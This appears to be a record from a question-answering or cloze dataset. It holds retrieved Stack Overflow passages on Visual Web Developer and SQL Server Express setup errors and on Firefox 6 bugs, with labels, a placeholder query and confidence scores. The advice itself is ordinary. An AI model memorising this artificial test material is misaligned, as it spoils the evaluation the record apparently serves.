noticed this problem . I can copy an MDF file into the app-code directory but this doesn t seem to solve my problems as clicking the DB returns the same error . From what I ve gathered from some googling this error occurs from several different install paths . It probably has nothing to do with 2005 installs I had not installed any visual-studio or sql-server 2005s . Its possible they just never upgraded the error message . Does anyone know how to get around this I would not mind entering in some connection strings if that will fix the issue . .. . Answer : While I still get the sql-server-2005 error it hasn t stopped me from doing what I needed to do . In the Database Connections tab I am able to connect to the MDF after detaching it from Management Studio . I can also use this tab s-function to create a new DB file if need be .", "Question : I recently installed in order : .. . .. . Sql Server 2008 Express .. . .. . Visual Web Developer Express 2008 .. . .. . When I right-click on app data and try to add a db it returns : Connections to SQL Server files .mdf require SQL Server Express 2005 to function properly . Please verify the installation of the component or download from the URL : http : go.microsoft.com fwlink LinkId 49251 .. . .. . I just recently reinstalled windows-vista due to registry problems from installing visual-web-developer before installing sql-server . This time the reverse order seemed to work fine until I noticed this problem . I can copy an MDF file into the app-code directory but this doesn t seem to solve my problems as clicking the DB returns the same error . From what I ve gathered from some googling this error occurs from several different install paths . It probably has nothing to do with 2005 installs I had not installed any visual-studio or sql-server 2005s . Its possible they just never upgraded the error message . Does anyone know how to get around this I would not mind entering in some connection strings if that will fix the issue . .. . Answer : hi david are you ensuring that the sql express service as well as sql browser service both are running can you connect to the same sql-server-express edition via management studio if not then probably these services are not running on your box Comment : Actually I had forgotten to check that I did turned on the browser . I thought that would do the trick but I got the exact same message . I realized I didn t need that . My entity-framework is working fine without it for now . I guess I can add a connection-string to a db later", "Question : I find it odd that in Visual C 2008 Express edition when you use the database explorer your options are : .. . .. . 1 . Microsoft Access .. . 2 . SQL Server Compact 3.5 and .. . 3 . SQL Server Database File . BUT if you use Visual Web Developer 2008 Express you can connect to a regular SQL Server Oracle ODBC etc . For people developing command-line or other C apps that need to talk to a SQL Server database do you really need to build your LINQ Data Access code with one IDE Visual Web Developer and your program in another Visual C It s not a hard workaround but it seems weird . If Microsoft wanted to force you to upgrade to Visual Studio to connect to SQL Server why would they include that feature in one of their free IDEs but not the other I feel like I might be missing something like how to do it all in Visual C . Comment : This is a terrific question . The whole SQL Server mess is very frustrating from even choosing which version to use to actually developing with it to deploying it . This question addresses one of the major hassles along the way . Comment : How is this closed as not constructive It has tons of upvotes and views and lots of people seem to find it helpful . SO is closing questions way too easily nowadays . .. . Answer : The only way I was able to get C Express 2008 to work was to move the database file . So I opened up SQL Server Management Studio and after dropping the database I copied the file to my project folder . Then I reattached the database to management studio . Now when I try to attach to the local copy it works . Apparently you can not use the same database file more than once .", "Question : I am trying to install Microsoft Azure SDK . I downloaded this version 2.9 of the SDK from here https : azure.microsoft.com en-us blog announcing-the-azure-sdk-2-7-for-net . And I am getting the following error in the picture . I have Visual Studio 2013 and 2015 installed on my PC . Could it be some sort of compatibility issue . I read on some forum that it won t work if I have different versions of the Azure SDK installed on Visual Studio 2013 and 2015 . But I don t have the SDK installed on any of them . And I can t seem to find any Web Development Feature in the IDE either . Does anyone know how to resolve this Visual Studio error http : i.stack.imgur.com 1qPE2.png .. . Answer : Given the situation the issue is most probably that the relevant modules for Web Development weren t installed when Visual Studio was installed . Those modules are not selected to be installed by default . The solution is to simply re-run the setup and select Modify . On the list of modules go to Windows and Web Development . You should get Microsoft Web Developer Tools in the list . Just select that and install . That should do the trick .", "Question : I m working on a page using canvas which is a HTML5 tag in Visual Web Developer Express Edition 2008 and the validator in the HTML editor is telling me it s an invalid tag . That s because it s set to validate against XHTML 1.0 Transitional . I d prefer for it to not do that and tell me what s valid or invalid based on the HTML5 doctype but I can t find anywhere in the preferences that suggests this would be possible . Is there a way to tell Visual Studio to validate against HTML5 or add a new spec reference manually I d prefer not to have to go in and add tags manually which appears to be the only option at the moment . Comment : With SP1 Html5 support is there blogs.msdn.com b webdevtools archive 2011 01 27 http : blogs.msdn.com b webdevtools archive 2011 01 27 html5-amp-css3-in-visual-studio-2010-sp1.aspx .. . Answer : I created a validation schema that you re free to use : http : johndyer.name post 2009 07 21 HTML5-XHTML5-Validation-Schema-for-Visual-Studio-2008.aspx Comment : I tried following your directions but I don t have an equivalent hash obviously inside the Packages node in the registry . I also don t have one that contains Schemas Schema 23 . Any suggestions Comment : Oh I might note that I have Web Developer Express Edition not the actual Visual Studio . Not sure if that makes a difference or not .", "Question : The Error .. . .. . ERROR IM002 Microsoft ODBC Driver Manager Data source name not found and no default driver specified .. . .. . The Story .. . .. . I ve written a page outside of Visual Web Developer 2010 that uses a SqlDataSource object along with a FormView object that works perfect . Building upon those awesome skills I obtained I started to build a project within Visual Web Developer this time creating an Empty Web Application and went along my happy way building my new site . I used the same techniques and almost the same code as before - just pointing to a different table but I was met with the aforementioned error message . The Confusing part .. . .. . Here s the puzzling part - if I take my page I wrote outside of Visual Web Developer again - it works perfect - no complaints and add it as a page to the project I ve built it now presents the same error message and I have no idea why . The Tests Completed .. . .. . I ve backed off of targeting .NET 4.0 framework and went to 2.0 as I am not using any specific 4.0 controls or methods at this time . I ve taken my page that originally gave me issue and recreated it outside of a Visual Web Developer project and instead as a stand alone page and the exact same code - copy cut paste - works perfect The Solution.. . .. . .. . At this point I m left puzzled and mouth agape . Any help is appreciated why building a project in Visual Web Developer would cause anything different . .. . Answer : If you re running e.g . debugging your project within Visual Web Developer Visual Studio etc it s likely running using the embedded web server . The embedded web server puts itself in a sandbox so it won t inherit any of the attributes set in the toplevel application web site . Where do you configure the data source name for your SQL connection In the top level web site In a parent application Does it work if you change the project properties to target local IIS instead of running on the embedded web server If so you ll just have to move the connection-string to the local web.config file so that your new application can find it . Comment : I ve tried to put the connectionString into the Web.Config file as many posts I ve found recommend . When I attempt to run the project I receive an error that the ConnectionStrings returned is empty and or not valid . The connectionString itself that I m using now is simply entered directly into the SqlDataSource object in the code on the page . I ve moved the page to run in the local IIS and no changes . Still perplexed .", "Question : I cannot uninstall Visual Web Developer 2010 Beta 2 . When I was trying to uninstall the first time the power went off to my machine and screwed up the Beta 2 installation . I cannot find a Visual Web Developer 2010 Beta 2 download on the Microsoft website any longer to repair the Beta 2 installation . How can I get VWD 2010 Beta 2 off of my system so I can install the new release Comment : This might do better on Super User . Comment : The question is listed on SuperUser.com as well . Comment : I am having a nice little excercise at Microsoft trying to get this solved if anyone wants to follow it . social.msdn.microsoft.com Forums en-US Vsexpressinstall thread http : social.msdn.microsoft.com Forums en-US Vsexpressinstall thread a2f4d9c3-1a78-4ac1-b316-04c5727feb46 Comment : Here is another person having the same issue : connect.microsoft.com VisualStudio feedback details 550848 https : connect.microsoft.com VisualStudio feedback details 550848 express-2010-beta-uninstall-express-2010-install .. . Answer : I just successfully uninstalled a failed Visual Web Developer 2010 Beta 2 I looked for nearly 2 weeks for the answer and found it myself . Answer : You have to uninstall it from it s the setup.exe file in C : Program Files x86 Microsoft Visual Studio 10.0 directory look for a folder called vwd or something similar in that directory it should be in there i didn t document it to well when I was uninstalling because I had tried nearly everything over and over with no results and this just worked . Running the uninstall from the cd or iso doesn t identify the location of the installed location and fails . If you can t find the setup.exe file do a search in the C : Program Files x86 Microsoft Visual Studio 10.0 directory . Microsoft really ticks me off sometimes Comment : There are no VWD 2010 Beta 2 files on my system to remove . This solution didn t work for me ." ] }
[ "yes-answer-long", "yes-answer-short" ]
asp.net
UNK_RELATION
firefox6@mozilla@30
firefox6 -- version 6 of the @placeholder firefox browser .
{ "confidence": [ 40.242828369140625, 27.32333755493164, 24.969501495361328, 24.969501495361328, 24.74493408203125, 23.748577117919922, 23.539505004882812, 22.51725959777832, 22.26314353942871, 22.094768524169922, 22.094768524169922, 21.37169075012207, 21.311832427978516, 21.311832427978516, 21.15387535095215, 20.905437469482422, 20.8291015625, 20.692716598510742, 20.624771118164062, 19.867095947265625, 19.867095947265625, 19.867095947265625, 19.867095947265625, 19.867095947265625, 19.867095947265625, 19.68723487854004, 19.68723487854004, 18.950424194335938, 18.833045959472656, 18.833045959472656, 18.800657272338867, 18.800657272338867, 18.800657272338867, 18.800657272338867, 18.800657272338867, 18.800657272338867, 18.800657272338867, 18.76144027709961, 18.503711700439453, 18.481807708740234, 18.481807708740234, 18.331689834594727, 18.178936004638672, 17.606441497802734, 17.606441497802734, 17.606441497802734, 17.606441497802734, 17.606441497802734, 17.606441497802734, 17.606441497802734, 17.606441497802734, 17.606441497802734, 17.595230102539062, 17.595230102539062, 17.595230102539062, 17.568416595458984, 17.31558609008789, 17.037071228027344, 16.87555694580078, 16.87555694580078, 16.588436126708984, 16.588436126708984, 16.489360809326172, 16.40101432800293, 16.40101432800293, 16.40101432800293, 16.05693817138672, 16.05693817138672, 15.696983337402344, 15.681525230407715, 15.670129776000977, 15.383008003234863, 15.316903114318848, 15.212030410766602, 15.212030410766602, 15.212030410766602, 15.168167114257812, 14.732500076293945, 13.046817779541016, 12.01870059967041, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008, 11.931734085083008 ], "content": [ "As I was developing an application with jQuery latest version my firefox browser decided to update itself to version 6 .", "Firefinder is compatible with Firefox 6 .", "This only happens in Firefox 6 for Windows .", "Any idea if this is a bug in Firefox 6", "I was currently working on a flex application with debugging set to Firefox 6 .", "Has anyone come over such a bug with firefox 6", "We get problem with Firefox 6 but only on Windows XP .", "I tried running this JavaScript code in the address-bar in Firefox 6 : .. . .. . I get a .. . .. . ReferenceError : alert not defined .", "It s a great way to ensure that older extensions still work when Firefox upgrades the browser every week .", "I just found a possible bug in Firefox 6 for Windows .", "So it seems the problem only occurs on Firefox 6 for Windows .", "It said to use the Firefox nightly-build add-on and that add-on would allow me to override the version compatibility .", "Since upgrading to Firefox 6 one of my favourite extensions for firebug no longer works .", "Firefox 6 and Chrome 13 however display only the fallback gradient-only background .", "My question is has anyone found any solutions to get the Dojo firebug extension working in Firefox 6 or should I just try downgrading to FF5", "6 .", "My problem is with Firefox .", "I think that the only relevant difference between Firefox 3.6 and Firefox 6 Firefox 4 actually is that by default extensions are no longer unpacked on installation instead they are placed into user s profile as XPI files .", "here below are my codes i used : .. . .. . The page works fine on Google Chrome Safari and Opera browser but i cant get the video to play in firefox 6 and IE 9 . can anyone please say what is wrong", "When I try to get the audio.duration value in a function that triggered by audio loadeddata event in Firefox 6 for Windows the value is NaN .", "Sorry I just want someone can test it as well to make sure if this is exactly a bug in Firefox 6 .", "For VBR encoded audios audio.duration always get NaN in Firefox 6 7 8 for Windows .", "It seems that Firefox 6 does not read the searchplugins directory anymore and does not add the Search Plugin .", "It might be also Firefox 4 and 5 i jumped from 3.6 to 6 directly .", "Only problem being that I don t know about any changes related to search plugins in Firefox 6 .", "Related : what does firefox decide not to cache", "This actually means firefox is doing this smarter then IE is doing .", "If a Firefox addon is not compatible to your version you can try to modify the .xpi file like described here : http : kb.mozillazine.org Editing an add-on to change its compatibility .", "let s disable javascript on the browser too .", "I haven t tested it with another browser .", "FYI my div is overflow : auto and I m using Firefox 6.0", "Just open firefox and type about : config - scroll down to dom.ipc.plugins.timeoutSecs - enter -1 .. . .. .", "Firefox does do a HTTP request to get the file information not the file itself .", "The request firefox does is just a couple of bytes large filesize date etc .", "so no matter what the name firefox caches it unless disabled .", "If the file itself changes firefox decides to re-download the file .", "In fact Firefox does not do the request when there is no query-string .", "See https : developer.mozilla.org en Bundles and also my own question Including a Search Plugin in my Firefox Extension http : stackoverflow.com questions 6678740 including-a-search-plugin-in-my-firefox-extension .. . .. . Well it worked fine until i started using Firefox 6 .", "I tried the same javascript code in Safari Chrome Firefox 6 on Mac OS X 10.7 and Chrome IE 9 on Windows 7 it works fine .", "Up until yesterday Firefox played nice .", "I had this problem too on Firefox 6.0.2 on Windows .", "If your clickable bookmarklet got broken and you want it back you can create a clickable button instead using Custom Buttons https : addons.mozilla.org en-US firefox-addon custom-buttons Firefox extension .", "The audio for Firefox is ogg format .", "It used to work fine in Firefox 5 though and still works on Opera Safari and Chrome .", "I thought that .ogg file is compatible with firefox but still the video dont play at all .", "Other than providing a Flash player alternative for Firefox or changing the video s encoding I don t know of a workaround .", "Just open firefox and type about : config - scroll down to dom.ipc.plugins.timeoutSecs - enter -1 http : i.stack.imgur.com i2Tra.png", "So my question is does firefox ignore the expires-header and cache of javascript when there is a query-string", "http : stackoverflow.com questions 7372345 what-does-firefox-decide-not-to-cache Apparently Rails does something similar .", "Firefox will send a GET request for every resource on the page at least once with an if-modified-since header .", "The logic Firefox uses to decide whether to make a conditional GET given a cached response is like so : .. . .. . 1 .", "That said some of the tools that try to trace HTTP information for Firefox actually affect the revalidation behavior so you may be running into that .", "Using Firefox 6.0.2 on Windows 7 works just fine .", "Has anyone else experienced that localstorage is broken on Firefox 6.0.2 on Mac", "It works perfectly in Chrome and IE9 but Firefox v6 in this case breaks the nice formatting .", "Each time the app is updated that query-string will-change and the browser should download it .", ".. . Short term : disallow pasting of javascript : URLs into the URL bar .. . Longer term : additionally require that bookmarklets be whitelisted in the Bookmark Manager before it can run JavaScript .. . .. . And this is the bug https : bugzilla.mozilla.org show bug.cgi id 656433 that was resolved in the latest version http : www.mozilla.com en-US firefox 6.0beta releasenotes buglist.html .", "Its name is FireQuery 1.0 addon for Firefox .", "I recommend trying the Add-on Compatibility Reporter https : addons.mozilla.org en-US firefox-addon add-on-compatibility-reporter src api extension from Mozilla .", "The add-on allowed me to use dojo firebug but dojo firebug doesn t seem to be working and hence my question of using dojo firebug in firefox is still unanswered .", "I set a breakpoint and was checking some variables.. . next thing I know the browser says flash-player crashed .", "The browser should cache the JS and not do a network request at all because the expire date is far future .", "Now this assumes that the issue is with version compatibility and not that the plugin is actually broken", "According to QuirksMode http : www.quirksmode.org css background.html defining multiple backgrounds works in at least IE9 Chrome and Firefox 3.6 .", "To answer my own question neither Chrome nor Firefox support more than two values in background-position .", "The appendTo is able to make all the information appear but in Firefox all the items in the cart which are in an HTML table lose there formatting .", "In my firebug I see that my div has the same clientHeight and scrollHeight even though Firefox rendered it with a vertical scrollbar which should mean the scrollHeight clientHeight right", "Firefox caches the files but the next time I load the page Firebug shows a 304 response indicating that it still did a network request for the file and then found that it hadn t changed .", "This extension besides letting you report incompatible add-ons lets you completely disable version checking .", "Adding a Search Plugin for Firefox Via Extension is done using bundles putting your .xml OpeSearch in searchplugins directory and Firefox will automatically add them when the Extension is installed .", "You re supposed to be able to do right 16px bottom 0 as the background-position but at the time of posting neither Chrome nor Firefox supported this .", "I am not aware of any browser updates that allows bottom and right alignments although I haven t exactly checked .", "You usually don t want to remove vary on Accept-Encoding but what you can do and what is good thing to do in case-when you have URL versioning is to leave the browser with nothing to revalidate against .", "What I would like to do is append a query-string on the end of the javascript path so that whenever my application is updated to a new version the javascript is downloaded .", "As long as the query-string is the same however I want it to keep using the cached version without doing a http-request to check to see if the script has changed .", "If you want to be absolutely sure that your file will get reloaded it s better to put the version number cache buster string directly in the file name .", "The extension is a bit special because the buttons run at Firefox chrome level so they re a bit more privileged you can interact with the browser s API and there s no 1-to-1 correspondence between normal JS and the button code it needs some tweaking .", "So yeah you were running into item 6 above which is just implementing w3.org Protocols rfc2616 rfc2616-sec13.html sec13.9 http : www.w3.org Protocols rfc2616 rfc2616-sec13.html sec13.9 paragraph 2 .", "i don t know how it works on ff5 i am on ff6 latest jquery version .", "When I saw Guntram telling me that he is using FF6 with the latest version of jQuery + jQuery-UI with no issues at all I wondered if that could come from an addon .", "How do I fix this", "How do I do that", "@Ryan : By doing exactly what you did with my answer : Accept the answer that helped you the most .", "You should go back to your older questions and do so .", "It seems using javascript : and data : URLs directly in the address-bar are currently not allowed as per this comment https : bugzilla.mozilla.org show bug.cgi id 527530 c6 : .. . .. . FYI I m probably going to split this bug into multiple short and longer term fixes .", "The last comment https : bugzilla.mozilla.org show bug.cgi id 656433 c42 also states : .. . .. . javascript : is not actually ignored - they re run but in an empty context that doesn t have any of the usual DOM methods you would expect so most common uses e.g .", "javascript : alert 1 just throw and thus are effectively ignored .", "javascript : 1+1 works fine though .", "Now : .. . .. . How do I fix this", "You can t you have to wait until they decided for a proper solution .", "As the comment said bookmarklets will work but must be explicitly allowed .", "If you just want to test code use either Firebug http : getfirebug.com or the new Scratchpad http : antennasoft.net robcee 2011 06 08 scratchpad-canvas-demo feature .", "Two people referencing the same bug report within 25 seconds of each other .", ": D I ve deleted my answer as this is more detailed .", "This bug fix just ruined a 2 months project I was working on .", ":", "@GeRev that must have been one hell of a bookmarklet.. .", "i have to agree with 80 on the comments on that bug .", "This is the dumbest solution for the problem .", "that will make the world more secure ." ] }
{ "confidence": [ 31.033401489257812, 30.149799346923828, 29.71051788330078, 26.498104095458984, 26.455469131469727, 25.975093841552734, 25.29468536376953, 25.162879943847656, 25.07757568359375, 24.92568016052246, 24.51756477355957, 23.71348762512207, 23.337913513183594, 22.909698486328125, 22.011083602905273, 21.67498779296875, 21.1713809967041, 20.72351837158203, 19.560710906982422, 19.484926223754883 ], "content": [ "Question : As I was developing an application with jQuery latest version my firefox browser decided to update itself to version 6 . Right after that I got the standard jquery-ui-sortable function not working properly . I tried on the jquery website and same thing . Tried with the demo files downloaded with the jquery-ui bundle same result . No hacks no custo just vanilla . Here are the symptoms : starting the sorting by clicking and dragging the mouse around the sortable element sticks to the mouse pointer . Fine until there . But when releasing the left mouse button the sortable element drops on its final position and suddenly as I move the mouse elsewhere no mouse buttons clicked the last sorted element sticks back to the mouse and moves with the pointer . Clicking somewhere on the page moves the sortable element back to the final dropped position but as soon as I move again the mouse that element sticks again and does not drop . Has anyone come over such a bug with firefox 6 FYI this sortable function was working like a charm on FF 5.0 .. . Answer : All right guys I found the root cause of such a weird behaviour Its name is FireQuery 1.0 addon for Firefox . When I saw Guntram telling me that he is using FF6 with the latest version of jQuery + jQuery-UI with no issues at all I wondered if that could come from an addon . So I disabled everything and re-activated them one by one with a restart after each enabling . I found the guilty addon : FireQuery 1.0 . Not saying that this addon is not good but at least if you ever come with the same issue as mine at least now you may know the root cause .", "Question : As I was developing an application with jQuery latest version my firefox browser decided to update itself to version 6 . Right after that I got the standard jquery-ui-sortable function not working properly . I tried on the jquery website and same thing . Tried with the demo files downloaded with the jquery-ui bundle same result . No hacks no custo just vanilla . Here are the symptoms : starting the sorting by clicking and dragging the mouse around the sortable element sticks to the mouse pointer . Fine until there . But when releasing the left mouse button the sortable element drops on its final position and suddenly as I move the mouse elsewhere no mouse buttons clicked the last sorted element sticks back to the mouse and moves with the pointer . Clicking somewhere on the page moves the sortable element back to the final dropped position but as soon as I move again the mouse that element sticks again and does not drop . Has anyone come over such a bug with firefox 6 FYI this sortable function was working like a charm on FF 5.0 .. . Answer : to me the sorting works alright . the elements dont move unexpectedly . when i have an item in an element like a button or a textfield nothing happens . if i right-click into the field or button the cursor appears the button is clicked . and when i escape the windows right-click options menu i can type into the text field.. . .. . .. . so still strange behaviour . i don t know how it works on ff5 i am on ff6 latest jquery version . EDIT : .. . .. . after i found this : http : weblogs.asp.net jeffwids archive 2011 01 31 jquery-textbox-in-sortable-is-not-clickable-selectable.aspx i took a closer look at the cancel option provided by the jquery-sortable . i finally could solve it like this : Comment : Thanks a lot Guntram for your answer You actually gave me a good hint for another issue I also had too", "Question : As I was developing an application with jQuery latest version my firefox browser decided to update itself to version 6 . Right after that I got the standard jquery-ui-sortable function not working properly . I tried on the jquery website and same thing . Tried with the demo files downloaded with the jquery-ui bundle same result . No hacks no custo just vanilla . Here are the symptoms : starting the sorting by clicking and dragging the mouse around the sortable element sticks to the mouse pointer . Fine until there . But when releasing the left mouse button the sortable element drops on its final position and suddenly as I move the mouse elsewhere no mouse buttons clicked the last sorted element sticks back to the mouse and moves with the pointer . Clicking somewhere on the page moves the sortable element back to the final dropped position but as soon as I move again the mouse that element sticks again and does not drop . Has anyone come over such a bug with firefox 6 FYI this sortable function was working like a charm on FF 5.0 .. . Answer : I have the same problem . After a day s worth of testing I have found out what the issue is and what kicks this behaviour off . Let me first show you what we re using the sortable class on . Header is draggable . If you quickly or erratically move the mouse cursor while dragging and the mouse cursor somehow gets moved off the header e.g . onto the contents the div sticks to the cursor . To re-pin the div back onto the page you can again quickly move the cursor and try to get it back on the header . Then it seems the events are re-attached and you can place the div back on the page . To sum up the mouse shifts off the div with the sortable events attached so the object is not seeing the mouseup or click events that place the object back on the page . .. . .. . Unfortunately I have no idea how to fix this . EDIT .. . .. . We implemented a solution which works for us but may not be ideal for everyone . Simply .trigger mouseup on the draggable element when a click event occurs on any element that should not be dragable . This will snap the draggable element back onto the page .", "Question : Since upgrading to Firefox 6 one of my favourite extensions for firebug no longer works . Does anyone know of an alternative to firefinder I m looking for a tool to highlight DOM elements from CSS XPATH selectors . Preferrably connected to firebug . .. . Answer : If a Firefox addon is not compatible to your version you can try to modify the .xpi file like described here : http : kb.mozillazine.org Editing an add-on to change its compatibility . Comment : Firefinder is compatible with Firefox 6 . It does not seem to be compatible with Firebug 1.8 .", "Question : I was currently working on a flex application with debugging set to Firefox 6 . I set a breakpoint and was checking some variables.. . next thing I know the browser says flash-player crashed . How do I set it up so breakpoints work for an extended period of time Comment : Why are you asking if you found the fix even if it is useful information You should at least post the answer in a different post and mark it as correct . Comment : I don t have a high enough stack rating so I can t answer my question for another 7 hours . .. . Answer : Just open firefox and type about : config - scroll down to dom.ipc.plugins.timeoutSecs - enter -1 .. . .. . Just open firefox and type about : config - scroll down to dom.ipc.plugins.timeoutSecs - enter -1 http : i.stack.imgur.com i2Tra.png Comment : Dude this is most awesome Thx", "Question : I recently started using the Dojo firebug extension http : getfirebug.com wiki index.php DojoFirebugExtension Reference Guide . I had gotten used to it since it had some nice features letting you see dojo on the widget level . This was good for me because I am in the process of trying to learn dojo so this really let me see how stuff worked together . My question is has anyone found any solutions to get the Dojo firebug extension working in Firefox 6 or should I just try downgrading to FF5 Thanks .. . .. . UPDATE : I tried a workaround I found somewhere else . It said to use the Firefox nightly-build add-on and that add-on would allow me to override the version compatibility . I tried that and it still didn t work . Comment : I have tired the both methods add-on compatibility and the nightly-build add-on and it does not work . I guess will have to wait for the next release . Thank you anyway for the tip about the dojo extension .. . Answer : I recommend trying the Add-on Compatibility Reporter https : addons.mozilla.org en-US firefox-addon add-on-compatibility-reporter src api extension from Mozilla . This extension besides letting you report incompatible add-ons lets you completely disable version checking . It s a great way to ensure that older extensions still work when Firefox upgrades the browser every week . Now this assumes that the issue is with version compatibility and not that the plugin is actually broken If it s the latter there s not much else you can do . Also that s an awesome plugin . I m definitely going to try it out myself here shortly Comment : Thanks I will try it out on monday and let you know how it works . Comment : Sorry I tried this out and it works but it doesn t solve my problem . The add-on allowed me to use dojo firebug but dojo firebug doesn t seem to be working and hence my question of using dojo firebug in firefox is still unanswered . I did give you a vote up though . Comment : Sorry it didn t work . I actually kinda figured it was truly broken as sica07 mentions above . Hopefully they get it fixed .", "Question : What I would like to do is append a query-string on the end of the javascript path so that whenever my application is updated to a new version the javascript is downloaded . As long as the query-string is the same however I want it to keep using the cached version without doing a http-request to check to see if the script has changed . The way I am accomplishing this in PHP is to read from the CVS tag . When I am building the HTML to output I read the CVS tag and use that to append to the end of the javascript path so that it creates a script-tag that looks like this : .. . .. . As long as the app hasn t changed the tag will stay the same and therefore the query-string will also . The browser should cache the JS and not do a network request at all because the expire date is far future . Each time the app is updated that query-string will-change and the browser should download it . This works great in IE8 . My problem is with Firefox . Firefox caches the files but the next time I load the page Firebug shows a 304 response indicating that it still did a network request for the file and then found that it hadn t changed . So my question is does firefox ignore the expires-header and cache of javascript when there is a query-string Related : what does firefox decide not to cache http : stackoverflow.com questions 7372345 what-does-firefox-decide-not-to-cache Apparently Rails does something similar . But this doesn t answer my question . Here is the response I am getting back on this file : .. . .. . The Cache tab in Firebug says : Comment : What do your HTTP response headers look like That s what s important here . Comment : Doing a 304 is normal . Firefox will send a GET request for every resource on the page at least once with an if-modified-since header . It s up to the server to reply with new content 200 or a not-modified 304 . Comment : If the expires-header is far future it should do a request at all . Comment : Edited the question to include the HTTP response shown in Firebug . Comment : The interesting headers would be those that the server sends back when the file is not cached . .. . Answer : As explained in Boris answer one of conditions that trigger conditional request is presence of Vary header . You usually don t want to remove vary on Accept-Encoding but what you can do and what is good thing to do in case-when you have URL versioning is to leave the browser with nothing to revalidate against . In your case it s Etag header . It can as well be Last-Modified header . Example code for varnish to do that for you may look like this :", "Question : here below are my codes i used : .. . .. . The page works fine on Google Chrome Safari and Opera browser but i cant get the video to play in firefox 6 and IE 9 . can anyone please say what is wrong I thought that .ogg file is compatible with firefox but still the video dont play at all . here is my site : http : pages.intnet.mu taoravi .. . Answer : Check the server headers : .. . .. . It s worth re-emphasizing for the time being that if the MIME types for Theora video are not set on the server the video may not show or show a gray box containing an X if JavaScript is enabled . from https : developer.mozilla.org En HTML Element Video Server support Comment : is there any other way since i dont have access to the mime.types file on the server i use . Comment : Other than providing a Flash player alternative for Firefox or changing the video s encoding I don t know of a workaround . If you can edit the directory s .htaccess file you can set the mime type there . Comment : yeha it seem that the directory dont have a .htaccess file and when i do try putting one up there . it just disappear after upload dont really why this is so though :", "Question : What I would like to do is append a query-string on the end of the javascript path so that whenever my application is updated to a new version the javascript is downloaded . As long as the query-string is the same however I want it to keep using the cached version without doing a http-request to check to see if the script has changed . The way I am accomplishing this in PHP is to read from the CVS tag . When I am building the HTML to output I read the CVS tag and use that to append to the end of the javascript path so that it creates a script-tag that looks like this : .. . .. . As long as the app hasn t changed the tag will stay the same and therefore the query-string will also . The browser should cache the JS and not do a network request at all because the expire date is far future . Each time the app is updated that query-string will-change and the browser should download it . This works great in IE8 . My problem is with Firefox . Firefox caches the files but the next time I load the page Firebug shows a 304 response indicating that it still did a network request for the file and then found that it hadn t changed . So my question is does firefox ignore the expires-header and cache of javascript when there is a query-string Related : what does firefox decide not to cache http : stackoverflow.com questions 7372345 what-does-firefox-decide-not-to-cache Apparently Rails does something similar . But this doesn t answer my question . Here is the response I am getting back on this file : .. . .. . The Cache tab in Firebug says : Comment : What do your HTTP response headers look like That s what s important here . Comment : Doing a 304 is normal . Firefox will send a GET request for every resource on the page at least once with an if-modified-since header . It s up to the server to reply with new content 200 or a not-modified 304 . Comment : If the expires-header is far future it should do a request at all . Comment : Edited the question to include the HTTP response shown in Firebug . Comment : The interesting headers would be those that the server sends back when the file is not cached . .. . Answer : If you want to be absolutely sure that your file will get reloaded it s better to put the version number cache buster string directly in the file name . So you d have something like shipments v2.js or shipments unix-timestamp .js . This will take care of proxies and any other kind of caching mechanisms . Comment : Right but that requires build scripts to change the name of the actual file . I suppose you could also do something in the htaccess file to strip out v2.js and redirect it to the correct file . Comment : Both are valid remarks . If it s a bigger project it will probably have a build script to minimize the contents anyway otherwise if it s just one file he can do it by hand :", "Question : What I would like to do is append a query-string on the end of the javascript path so that whenever my application is updated to a new version the javascript is downloaded . As long as the query-string is the same however I want it to keep using the cached version without doing a http-request to check to see if the script has changed . The way I am accomplishing this in PHP is to read from the CVS tag . When I am building the HTML to output I read the CVS tag and use that to append to the end of the javascript path so that it creates a script-tag that looks like this : .. . .. . As long as the app hasn t changed the tag will stay the same and therefore the query-string will also . The browser should cache the JS and not do a network request at all because the expire date is far future . Each time the app is updated that query-string will-change and the browser should download it . This works great in IE8 . My problem is with Firefox . Firefox caches the files but the next time I load the page Firebug shows a 304 response indicating that it still did a network request for the file and then found that it hadn t changed . So my question is does firefox ignore the expires-header and cache of javascript when there is a query-string Related : what does firefox decide not to cache http : stackoverflow.com questions 7372345 what-does-firefox-decide-not-to-cache Apparently Rails does something similar . But this doesn t answer my question . Here is the response I am getting back on this file : .. . .. . The Cache tab in Firebug says : Comment : What do your HTTP response headers look like That s what s important here . Comment : Doing a 304 is normal . Firefox will send a GET request for every resource on the page at least once with an if-modified-since header . It s up to the server to reply with new content 200 or a not-modified 304 . Comment : If the expires-header is far future it should do a request at all . Comment : Edited the question to include the HTTP response shown in Firebug . Comment : The interesting headers would be those that the server sends back when the file is not cached . .. . Answer : The logic Firefox uses to decide whether to make a conditional GET given a cached response is like so : .. . .. . 1 . If there is a relevant Vary header revalidate . 2 . If this request is supposed to be force-loaded from cache do not revalidate . 3 . If this request has the always validate flag revalidate . 4 . If this request has the never validate flag then revalidate only if this is a no-store response or SSL no-cache response . 5 . If the response status code is not cacheable or the response is no-cache or no-store or if the expiration time is before the Date of the response revalidate . 6 . If there is a query paramater and the response does not have an explicit Expires or max-age revalidate . 7 . If the response expiration time is in the past revalidate unless the only revalidate once per session user preference is set . So for your case there should not be a conditional GET assuming you actually set expires or max-age information on your 200 response . That said some of the tools that try to trace HTTP information for Firefox actually affect the revalidation behavior so you may be running into that . I recommend creating a log following the steps in https : developer.mozilla.org en HTTP Logging which will incidentally tell you exactly why a conditional GET is being done if you can find the right part of the log search for nsHttpChannel : : CheckCache enter for the logging from the function that implements the above logic . Comment : I found my answer based on this answer and Pointy s comment above . I re-examined my response header on the original non-cached 200 load . There was no explicit expire header Even though Firefox s Cache tab was showing an expires date it was not getting that from the HTTP header . Comment : @Jon the HTTP RFC defines a heuristic for determining expiration time based on the current time and the Date header . So yeah you were running into item 6 above which is just implementing w3.org Protocols rfc2616 rfc2616-sec13.html sec13.9 http : www.w3.org Protocols rfc2616 rfc2616-sec13.html sec13.9 paragraph 2 .", "Question : What I would like to do is append a query-string on the end of the javascript path so that whenever my application is updated to a new version the javascript is downloaded . As long as the query-string is the same however I want it to keep using the cached version without doing a http-request to check to see if the script has changed . The way I am accomplishing this in PHP is to read from the CVS tag . When I am building the HTML to output I read the CVS tag and use that to append to the end of the javascript path so that it creates a script-tag that looks like this : .. . .. . As long as the app hasn t changed the tag will 